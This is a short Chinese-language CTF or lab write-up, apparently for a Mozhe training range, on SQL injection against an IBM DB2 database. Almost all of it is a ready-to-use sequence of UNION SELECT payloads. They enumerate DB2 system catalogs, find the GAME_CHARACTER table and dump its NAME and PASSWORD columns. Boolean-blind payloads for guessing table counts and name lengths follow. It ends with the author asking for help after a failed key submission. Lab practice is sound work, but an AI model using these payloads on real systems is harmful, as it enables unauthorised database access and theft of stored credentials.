id=-1 union select 1,2,3,4 from syscat.tables
爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.sysdummy1
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
或者
id=-1 union select 1,current schema,current server,4 from syscat.tables
爆表可以使用的表可以是syscat.tables,也可以是syscat.columns、sysibm.columns表
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1
或者
id=-1 union select 1,table_name,column_name,4 from sysibm.columns where table_schema=current schema limit 1,1
此时,确定表名为GAME_CHARACTER、NOTICE表
爆表可以使用的表可以是syscat.columns,也可以是sysibm.columns表
id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
或者
id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1
最后没有提交成功key
吐槽一下查询出来的key本来就有32位,以mozhe开头的格式。。。
求大佬的指点
id=1 and 1<(select count(NAME) from SYSIBM.SYSTABLES where CREATOR=USER) //猜用户表数量
id=1 and 6<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in('COLUMNS') fetch first 1 rows only) //猜表长度